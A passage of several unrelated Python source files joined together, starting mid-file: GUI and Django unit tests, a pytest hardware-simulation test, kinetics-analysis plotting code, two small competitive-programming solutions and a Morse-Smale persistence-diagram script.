        QTest.mouseClick(dialog.btn_insert, QtCore.Qt.MouseButton.LeftButton)

    def test_delete(self):
        self.facade.insert_value(123)
        btn_delete = self.window.ui.btn_delete
        QTest.mouseClick(btn_delete, QtCore.Qt.MouseButton.LeftButton)
        for window in self.qapp.topLevelWidgets():
            if isinstance(window, DialogDelete):
                dialog = window
                break
        else:
            self.fail()

        self.facade.delete_value(123)
        self.facade.delete_value = MagicMock()
        QTest.mouseClick(dialog.btn_remove, QtCore.Qt.MouseButton.LeftButton)
        self.facade.delete_value(10)

        self.facade.insert_value(1)
        self.facade.insert_value(2)
        self.facade.insert_value(3)

        QTest.mouseClick(dialog.btn_remove_all, QtCore.Qt.MouseButton.LeftButton)

        message_box = self.qapp.activeModalWidget()
        if message_box is None:
            self.fail()

    def test_save(self):
        btn_save = self.window.ui.btn_save
        self.facade.insert_value(12)

        self.facade.DB.save_all = MagicMock()
        QTest.mouseClick(btn_save, QtCore.Qt.MouseButton.LeftButton)
        self.facade.DB.save_all.assert_called()

    def tearDown(self) -> None:   # закрывает окно после остановки проекта
        self.qapp.deleteLater()

if __name__ == '__main__':
    pass


from tdm_slave_checker import TDMSlaveTX16Checker
from pathlib import Path
import Pyxsim
import pytest

# DEBUG = True
DEBUG = False

tx_offset_args = {"0": (0),
                  "1": (1),
                  "2": (2)}

@pytest.mark.parametrize(("tx_offset"), tx_offset_args.values(), ids=tx_offset_args.keys())
def test_tdm_slavetx16_cb(capfd, request, nightly, tx_offset):
    id_string = f"{tx_offset}"

    cwd = Path(request.fspath).parent
    binary = f'{cwd}/tdm_slave_tx16_cb_test/bin/test_hil_i2s_tdm_tx16_slave_test_{id_string}.xe'

    checker = TDMSlaveTX16Checker(
        "tile[0]:XS1_PORT_1A",
        "tile[0]:XS1_PORT_1C",
        "tile[0]:XS1_PORT_1D",
        "tile[0]:XS1_PORT_1E",
        "tile[0]:XS1_PORT_16B",
        "tile[0]:XS1_PORT_1F",
        sample_edge=TDMSlaveTX16Checker.sample_on_rising,
        sclk_frequency=33000000)

    ## Temporarily building externally, see hil/build_lib_i2s_tests.sh

    if DEBUG:
        tester = Pyxsim.testers.PytestComparisonTester(
            f'{cwd}/expected/tdm_slave_tx16_cb_test.expect',
            regexp = True,
            ordered = False # We are mixing sim and host prints so avoid race conditions
        )

        with capfd.disabled():
            Pyxsim.run_with_pyxsim(binary,
                            simthreads = [checker],
                            simargs = ["--vcd-tracing", f"-o tdm_trace_{tx_offset}.vcd -tile tile[0] -cycles -ports -ports-detailed -cores -instructions"],
                            timeout = 100)

        tester.run(capfd.readouterr().out)
    else:
        tester = Pyxsim.testers.PytestComparisonTester(
            f'{cwd}/expected/tdm_slave_tx16_cb_test.expect',
            regexp = True,
            ordered = False # We are mixing sim and host prints so avoid race conditions
        )

        Pyxsim.run_with_pyxsim(binary,
                        simthreads = [checker],
                        simargs = [],
                        timeout = 100)

        tester.run(capfd.readouterr().out)


from django.test import TestCase
from ..models import Post, Group
from django.contrib.auth import get_user_model

User = get_user_model()

class PostModelTest(TestCase):
    """Тестирование модели Post."""
    @classmethod
    def setUpClass(cls):
        super().setUpClass()
        cls.user = User.objects.create_user(username="auth")
        cls.group = Group.objects.create(
            title="Тестовая группа",
            slug="Test_slug",
            description="Тестовое описание",
        )
        cls.post = Post.objects.create(
            author=cls.user,
            text="Тестовый пост. " * 20,
        )

    def test_models_have_correct_object_names(self):
        """Проверяем, что у моделей корректно работает __str__."""
        group = PostModelTest.group
        object_title_group = group.title
        self.assertEqual(object_title_group, str(group))
        post = PostModelTest.post
        object_text_post = post.text[:15]
        self.assertEqual(object_text_post, str(post)[:15])

    def test_verbose_name(self):
        """Проверка verbose_name в полях, что совпадает с ожидаемым."""
        post = PostModelTest.post
        field_verboses = {
            "text": "Текст",
            "pub_date": "Дата публикации",
            "author": "Автор",
            "group": "Группа",
        }
        for value, expected in field_verboses.items():
            with self.subTest(value=value):
                self.assertEqual(
                    post._meta.get_field(value).verbose_name, expected
                )

    def test_help_test(self):
        """Проверка help_text в полях, что совпадает с ожидаемым."""
        post = PostModelTest.post
        field_help_text = {
            "text": "Введите текст поста",
            "group": "Группа, к которой будет относиться пост",
        }
        for value, expected in field_help_text.items():
            with self.subTest(value=value):
                self.assertEqual(
                    post._meta.get_field(value).help_text, expected
                )


# Standard library imports
import os

# Third party imports
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import seaborn as sns
import pandas as pd
import numpy as np

# Local application imports
from modules.arrhenius import mass2conv
from modules.file_handlers import read_filtrated_datafile, read_units, get_data
from modules.reaction_models import Model
from modules.reaction_rate_numerics import data2Polrate, data2Exprate
from modules.euclidean_distance import get_best_model
from modules.regressors import activation_enthalpy
from modules.arrhenius import csv2Arrhenius, rateConstant

# basic plot settings
graph_format = 'png'
graph_dpi    = 300
font_size    = 13
lwidth       = 3

# simple scatter plot the experimental data
def graph_experimental_data(DATA_DIR,OUTPUT_DIR):

    # make output directory
    DIR = os.path.join(OUTPUT_DIR,'experimental')
    if not os.path.exists(DIR):
        os.makedirs(DIR)

    # concentration range
    low  = 0.0
    high = 1.0

    # get the csv data in a list
    Csvs = get_data(DATA_DIR)
    # filnames
    # filnames
    fnames = [f.split('.csv')[0] for f in os.listdir(DATA_DIR)]

    fig  = plt.figure()
    # export a graph for the fitting of the integral reaction rate
    Plot = os.path.join(DIR,'experimental_conversion.'+graph_format)

    for indx, Csv in enumerate(Csvs):
        df = pd.read_csv(Csv)
        # read data file
        conversion, time, temperature   = read_filtrated_datafile(df,low,high)
        # read variable units
        timeUnits, tempUnits = read_units(df)
        plt.scatter(time,conversion,s=10,label=str(temperature)+tempUnits)
        # export experimental data
        data = {
            'time'        : time,
            'conversion'  : conversion,
            'temperature' : temperature,
            'temperature_units': tempUnits
        }
        df = pd.DataFrame(data)
        csv_name = fnames[indx] + '_experimental_conversion.csv'
        df.to_csv(os.path.join(DIR,csv_name),index=False)

    plt.xlim(0,)
    plt.ylim(0,1.0)
    plt.legend()
    plt.ylabel('conversion')
    plt.xlabel('time [' + timeUnits +']')
    plt.tight_layout()
    plt.savefig(Plot, format=graph_format, dpi=graph_dpi)
    plt.close() # to avoid memory warnings

# heatmap the accuracy measures
# function for one dataframe and fname
def df2heatmap(WDIR,df,fname):

    # rank for each measure
    def df2rank(dframe,measure):
        # dframe  : the accuracy data dataframe
        # measure : particular measure (column name)
        # returns a ranking list

        # sort dataframe by the specific measure
        if measure == 'rSquared':
            df = dframe.sort_values(by=[measure],ascending=False)
        else:
            df = dframe.sort_values(by=[measure])
        # get only the model and specific measure columns into a new frame
        selDF = df[['model',measure]]
        # reset the index of this frame so the best one starts from 0
        selDF.reset_index(inplace=True)
        # sort the dataframe by the initial index, e.g. by the initial models column
        # the real index of the dataframe (not the column named index) is the ranking
        # of the models
        selDF = selDF.sort_values(by=['index'])
        rank  = [i+1 for i in selDF.index.to_list()]

        return rank

    # get only the numerical columns regarding accuracy measures
    criteria = df.columns.to_list()
    criteria.remove('model')
    criteria.remove('temperature')
    criteria.remove('temperature_units')
    if 'k_arrhenius' in criteria:
        criteria.remove('k_arrhenius')

    # get the models in a list
    models = df['model'].tolist()

    # initialise ranking dictionary
    ranking = {'models': models}

    # loop over all criteria
    for measure in criteria:
        # get the ranking for the particular measure
        rank = df2rank(df, measure)
        # parse it to dictionary
        ranking[measure] = rank

    # sns.set_theme()

    # create ranking dataframe
    rankDF = pd.DataFrame(ranking)
    rankDF = rankDF.set_index('models')
    # heatmap plot
    Plot = os.path.join(WDIR,fname+'.'+graph_format)
    fig    = plt.figure()
    sns.heatmap(rankDF, vmin=1, vmax=len(models), cmap='RdBu', linecolor='black', linewidths=0.5, annot=True)
    plt.tight_layout()
    plt.savefig(Plot, format=graph_format, dpi=graph_dpi)
    plt.close()

# export heatmaps for all csvs for all directories
def measures2heatmaps(OUTPUT_DIR):
    ext = ['integral_regression', 'differential_regression', 'conversion_regression']
    # loop over directories
    for DIR in ext:
        # set working directory
        WDIR = os.path.join(OUTPUT_DIR, DIR)
        # get all csvs in the directory
        Csvs = get_data(WDIR)
        # filnames
        fnames = [f.split('.csv')[0] for f in os.listdir(WDIR) if 'csv' in f]
        # loop over the csv files in this DIR
        for indx, Csv in enumerate(Csvs):
            df    = pd.read_csv(Csv)
            fname = fnames[indx]
            df2heatmap(WDIR, df, fname)

def sortOnData(bnames,l):
    # bnames : list of names on which data will be sorted
    # l      : list to sort
    # sl     : sorted list
    sl = []
    for bn in bnames:
        for csv in l:
            if bn in csv:
                sl.append(csv)
    return sl

def integralRegressionGraphs(DATA_DIR,OUTPUT_DIR,low,high,npoints):

    # get names (without format suffix) of the data csv files
    # bnames : base names
    bnames = [f.split('.csv')[0] for f in os.listdir(DATA_DIR)]
    # paths of the experimental data csv files
    data_Csvs = get_data(DATA_DIR)
    # metrics directory
    METRICS_DIR = os.path.join(OUTPUT_DIR, 'integral_regression')
    # paths of the metrics from the integral regression
    metrics_Csvs = get_data(METRICS_DIR)

    # zip data files and metrics
    data    = sortOnData(bnames,data_Csvs)
    metrics = sortOnData(bnames,metrics_Csvs)
    data_and_metrics = list(zip(data,metrics))

    # loop over all data
    for i_csv, csv in enumerate(data_and_metrics):

        # make directory for the graphs
        DIR       = os.path.join(METRICS_DIR,'png')
        GRAPH_DIR = os.path.join(DIR, bnames[i_csv])
        if not os.path.exists(GRAPH_DIR):
            os.makedirs(GRAPH_DIR)

        # data dataframe
        data_df    = pd.read_csv(csv[0])
        # metrics dataframe
        metrics_df = pd.read_csv(csv[1])
        # data
        conversion, time, temperature = read_filtrated_datafile(data_df,low,high)
        # read variable units
        timeUnits, tempUnits = read_units(data_df)

        modelNames = metrics_df['model'].tolist()
        ks     = metrics_df['k_arrhenius'].to_numpy()

        # loop over models
        for i_model, modelName in enumerate(modelNames):
            # pick up a model
            model = Model(modelName)
            # choose the corresponding arrhenius rate constant
            k = ks[i_model]
            # calculate experimental integral reaction rate
            y = np.array( [ model.g(a) for a in conversion ] )
            x = time
            # fit
            tfit = np.linspace(time[0], time[-1], num=npoints)
            yfit = k*tfit
            xfit = tfit

            # export a graph for the fitting of the integral reaction rate
            fig  = plt.figure()
            fname = modelName + '_' + bnames[i_csv] + '_integral_regression.'+graph_format
            Plot = os.path.join(GRAPH_DIR,fname)
            plt.scatter(x, y, s=10, label='experimental')
            plt.plot(xfit, yfit, lw=lwidth, label=r'kt')
            plt.legend()
            plt.ylabel(r'g (a)')
            plt.xlabel('time [' + timeUnits +']')
            plt.tight_layout()
            plt.savefig(Plot, format=graph_format, dpi=graph_dpi)
            plt.close() # to avoid memory warnings

def conversionRegressionGraphs(DATA_DIR,OUTPUT_DIR,low,high,npoints):

    # get names (without format suffix) of the data csv files
    # bnames : base names
    bnames = [f.split('.csv')[0] for f in os.listdir(DATA_DIR)]
    # paths of the experimental data csv files
    data_Csvs = get_data(DATA_DIR)
    # metrics directory
    METRICS_DIR = os.path.join(OUTPUT_DIR, 'conversion_regression')
    # paths of the metrics from the conversion regression
    metrics_Csvs = get_data(METRICS_DIR)
    # filter proper csvs
    metrics_Csvs = [f for f in metrics_Csvs if 'conversion_regression_accuracy' in f]

    # zip data files and metrics
    data    = sortOnData(bnames,data_Csvs)
    metrics = sortOnData(bnames,metrics_Csvs)
    data_and_metrics = list(zip(data,metrics))

    # loop over all data
    for i_csv, csv in enumerate(data_and_metrics):

        # make directory for the graphs
        DIR       = os.path.join(METRICS_DIR,'png')
        GRAPH_DIR = os.path.join(DIR, bnames[i_csv])
        if not os.path.exists(GRAPH_DIR):
            os.makedirs(GRAPH_DIR)

        # data dataframe
        data_df    = pd.read_csv(csv[0])
        # metrics dataframe
        metrics_df = pd.read_csv(csv[1])
        # data
        conversion, time, temperature = read_filtrated_datafile(data_df,low,high)
        # read variable units
        timeUnits, tempUnits = read_units(data_df)

        modelNames = metrics_df['model'].tolist()
        ks     = metrics_df['k_arrhenius'].to_numpy()

        # loop over models
        for i_model, modelName in enumerate(modelNames):
            # pick up a model
            model = Model(modelName)
            # choose the corresponding arrhenius rate constant
            k = ks[i_model]
            # calculate experimental conversion
            y = conversion
            x = time
            if modelName not in ['D2','D4']:
                # fit
                tfit = np.linspace(time[0], time[-1], num=npoints)
                yfit = np.array( [ model.alpha(t, k) for t in tfit ] )
                xfit = tfit

                # export a graph for the fitting of the integral reaction rate
                fig  = plt.figure()
                fname = modelName + '_' + bnames[i_csv] + '_conversion_regression.'+graph_format
                Plot = os.path.join(GRAPH_DIR,fname)
                plt.scatter(x, y, s=10, label='experimental')
                plt.plot(xfit, yfit, lw=lwidth, label=modelName)
                plt.legend()
                plt.ylabel(r'conversion')
                plt.xlabel('time [' + timeUnits +']')
                plt.ylim(0.0, 1.0)
                plt.tight_layout()
                plt.savefig(Plot, format=graph_format, dpi=graph_dpi)
                plt.close() # to avoid memory warnings

def differentialRegressionGraphs(DATA_DIR,OUTPUT_DIR,low,high,npoints):

    # get names (without format suffix) of the data csv files
    # bnames : base names
    bnames = [f.split('.csv')[0] for f in os.listdir(DATA_DIR)]
    # paths of the experimental data csv files
    data_Csvs = get_data(DATA_DIR)
    # metrics directory
    METRICS_DIR = os.path.join(OUTPUT_DIR, 'differential_regression')
    # paths of the metrics from the conversion regression
    metrics_Csvs = get_data(METRICS_DIR)

    # zip data files and metrics
    data    = sortOnData(bnames,data_Csvs)
    metrics = sortOnData(bnames,metrics_Csvs)
    data_and_metrics = list(zip(data,metrics))

    # loop over all data
    for i_csv, csv in enumerate(data_and_metrics):

        # make directory for the graphs
        DIR       = os.path.join(METRICS_DIR,'png')
        GRAPH_DIR = os.path.join(DIR, bnames[i_csv])
        if not os.path.exists(GRAPH_DIR):
            os.makedirs(GRAPH_DIR)

        # data dataframe
        data_df    = pd.read_csv(csv[0])
        # metrics dataframe
        metrics_df = pd.read_csv(csv[1])
        # data
        conversion, time, temperature = read_filtrated_datafile(data_df,low,high)
        # read variable units
        timeUnits, tempUnits = read_units(data_df)

        modelNames = metrics_df['model'].tolist()
        ks     = metrics_df['k_arrhenius'].to_numpy()

        # loop over models
        for i_model, modelName in enumerate(modelNames):
            # pick up a model
            model = Model(modelName)
            # choose the corresponding arrhenius rate constant
            k = ks[i_model]
            # calculate experimental conversion
            y = conversion
            x = time
            if modelName not in ['D2','D4']:
                # fit
                tfit = np.linspace(time[0], time[-1], num=npoints)
                yfit = np.array( [ model.alpha(t, k) for t in tfit ] )
                xfit = tfit

                # export a graph for the fitting of the integral reaction rate
                fig  = plt.figure()
                fname = modelName + '_' + bnames[i_csv] + '_differential_regression.'+graph_format
                Plot = os.path.join(GRAPH_DIR,fname)
                plt.scatter(x, y, s=10, label='experimental')
                plt.plot(xfit, yfit, lw=lwidth, label=modelName)
                plt.legend()
                plt.ylabel(r'conversion')
                plt.xlabel('time [' + timeUnits +']')
                plt.ylim(0.0, 1.0)
                plt.tight_layout()
                plt.savefig(Plot, format=graph_format, dpi=graph_dpi)
                plt.close() # to avoid memory warnings

def rateFitGraphs(DATA_DIR,OUTPUT_DIR,low,high,pdeg,npoints,fitExp):

    # get names (without format suffix) of the data csv files
    # bnames : base names
    bnames = [f.split('.csv')[0] for f in os.listdir(DATA_DIR)]
    # paths of the experimental data csv files
    data_Csvs = get_data(DATA_DIR)
    # metrics directory
    METRICS_DIR = os.path.join(OUTPUT_DIR, 'conversion_regression')
    # paths of the metrics from the conversion regression
    metrics_Csvs = get_data(METRICS_DIR)
    # filter proper csvs
    metrics_Csvs = [f for f in metrics_Csvs if 'conversion_regression_accuracy' in f]

    # zip data files and metrics
    data    = sortOnData(bnames,data_Csvs)
    metrics = sortOnData(bnames,metrics_Csvs)
    data_and_metrics = list(zip(data,metrics))

    # loop over all data
    for i_csv, csv in enumerate(data_and_metrics):

        # make directory for the graphs
        DIR       = os.path.join(METRICS_DIR,'png')
        DIR       = os.path.join(DIR,'rate_fit')
        GRAPH_DIR = os.path.join(DIR, bnames[i_csv])
        if not os.path.exists(GRAPH_DIR):
            os.makedirs(GRAPH_DIR)

        # data dataframe
        data_df    = pd.read_csv(csv[0])
        # metrics dataframe
        metrics_df = pd.read_csv(csv[1])
        # data
        conversion, time, temperature = read_filtrated_datafile(data_df,low,high)
        # read variable units
        timeUnits, tempUnits = read_units(data_df)

        # experimental reaction rate from polynomial conversion
        dadt_polynomial = data2Polrate(csv[0],low,high,pdeg,npoints)
        # experimental reaction rate from actual conversion
        dadt_numerical  = data2Exprate(csv[0],low,high)

        modelNames = metrics_df['model'].tolist()
        ks         = metrics_df['k_arrhenius'].to_numpy()

        # calculate experimental reaction rate
        if fitExp:
            y = dadt_numerical
        else:
            y = dadt_polynomial

        x = time

        # loop over models
        for i_model, modelName in enumerate(modelNames):
            # pick up a model
            model = Model(modelName)
            # choose the corresponding arrhenius rate constant
            k = ks[i_model]

            if modelName not in ['D2','D4']:
                # calculate the modeled differential reaction rate
                tfit = np.linspace(time[0], time[-1], num=npoints)
                yfit = np.array( [ model.alpha(t, k) for t in tfit ] )
                dadt_model = np.array( [k*model.f(a) for a in yfit] )
                yfit = dadt_model
                xfit = tfit
                # export a graph for the fitting of the integral reaction rate
                fig  = plt.figure()
                if fitExp:
                    ext = '_experimental_rate_fit.'
                else:
                    ext = '_polynomial_rate_fit.'
                fname = modelName + '_' + bnames[i_csv] + ext + graph_format
                Plot = os.path.join(GRAPH_DIR,fname)
                plt.scatter(x, y, s=10, label='experimental')
                plt.plot(xfit, yfit, lw=lwidth, label=modelName)
                plt.legend()
                plt.ylabel(r'reaction rate')
                plt.xlabel('time [' + timeUnits +']')
                plt.tight_layout()
                plt.savefig(Plot, format=graph_format, dpi=graph_dpi)
                plt.close() # to avoid memory warnings

def export_kinetic_triplet(OUTPUT_DIR):
    GRAPH_DIR = os.path.join(OUTPUT_DIR, 'desicion')
    if not os.path.exists(GRAPH_DIR):
        os.makedirs(GRAPH_DIR)

    best_model = get_best_model(OUTPUT_DIR)

    WDIR = os.path.join(OUTPUT_DIR,'conversion_regression')

    Csvs = [os.path.join(WDIR,i) for i in os.listdir(WDIR) if 'conversion_regression_accuracy.csv' in i]

    k, T = csv2Arrhenius(Csvs,best_model)

    fit_data = activation_enthalpy(k,T)

    fit_data['best_model'] = best_model

    df = pd.DataFrame.from_dict(fit_data,orient='index')
    df.to_csv(os.path.join(GRAPH_DIR,'kinetic_triplet.csv'))

    x_fit = np.linspace(round(min(T)-10),round(max(T)+10),500)
    k_fit = np.array( [ rateConstant(fit_data['frequency_factor'],fit_data['activation_enthalpy'],T) for T in x_fit ] )

    fig  = plt.figure()
    fname = 'best_model_prediction.' + graph_format

    Plot = os.path.join(GRAPH_DIR,fname)
    plt.scatter(T, k, s=50, label='experimental')
    plt.plot(x_fit, k_fit, lw=lwidth, label='prediction')
    plt.legend()
    plt.xlim(min(x_fit),max(x_fit))
    plt.ylabel('Arrhenius rate constant')
    plt.xlabel('temperature (K)')
    plt.tight_layout()
    plt.savefig(Plot, format=graph_format, dpi=graph_dpi)
    plt.close() # to avoid memory warnings

def graph_isoconversional_enthalpy(OUTPUT_DIR):
    WDIR = os.path.join(OUTPUT_DIR,'isoconversional')
    df = pd.read_csv(os.path.join(WDIR,'isoconversional_energy.csv'))
    fig  = plt.figure()
    fname = 'isoconversional_enthalpy.' + graph_format

    Plot = os.path.join(WDIR,fname)

    fig = plt.figure()
    plt.scatter(df['conversion'], df['activation_enthalpy'], s=50)
    plt.ylabel('activation enthalpy [kJ/mol]')
    plt.xlabel('conversion')
    plt.xlim(0.0,1.0)
    plt.tight_layout()
    plt.savefig(Plot, format=graph_format, dpi=graph_dpi)
    plt.close() # to avoid memory warnings


N = int(input())
arr = [input() for _ in range(N)]

result = ''
for j in range(len(arr[0])):
    tmp = arr[0][j]
    for i in range(1,len(arr)):
        if tmp != arr[i][j]:
            tmp = '?'
            break
    result += tmp
print(result)


from math import *

def nt(n):
    if n < 2:
        return False
    for i in range(2, isqrt(n) + 1):
        if n % i == 0:
            return False
    return True

if __name__ == '__main__':
    n = int(input())
    a = list(map(int, input().split()))
    mark = [0] * 1000005
    for i in range(len(a)):
        if nt(a[i]) == True:
            mark[a[i]] += 1
    for i in range(len(a)):
        if mark[a[i]] != 0:
            print(a[i], mark[a[i]])
            mark[a[i]] = 0


import pyms3d
import numpy as np
import os

msc=pyms3d.mscomplex()
msc_file_name='test2/msc_level_set_chamf_distance_testData2_pers_0.0'
base_name=os.path.basename(msc_file_name)
base_name=os.path.splitext(base_name)[0]
msc.load(msc_file_name)
cps_2sad=msc.cps(2)
cps_max=msc.cps(3)
cps_fun_vals=msc.cps_func()
msc.simplify_pers(thresh=1,is_nrm=True)
cp_pairs=msc.cps_pairid()

p_diagm_list=[]

for m in cps_max:
    sad=cp_pairs[m]
    b_value=cps_fun_vals[sad]
    d_value=cps_fun_vals[m]
    pers=d_value-b_value
    p_diagm_list.append([b_value,d_value,pers,sad,m])

np.savetxt('pers_diagm_data_'+base_name,p_diagm_list)
np.savetxt('pers_diagm_csv_'+base_name+'.csv',p_diagm_list,delimiter=',')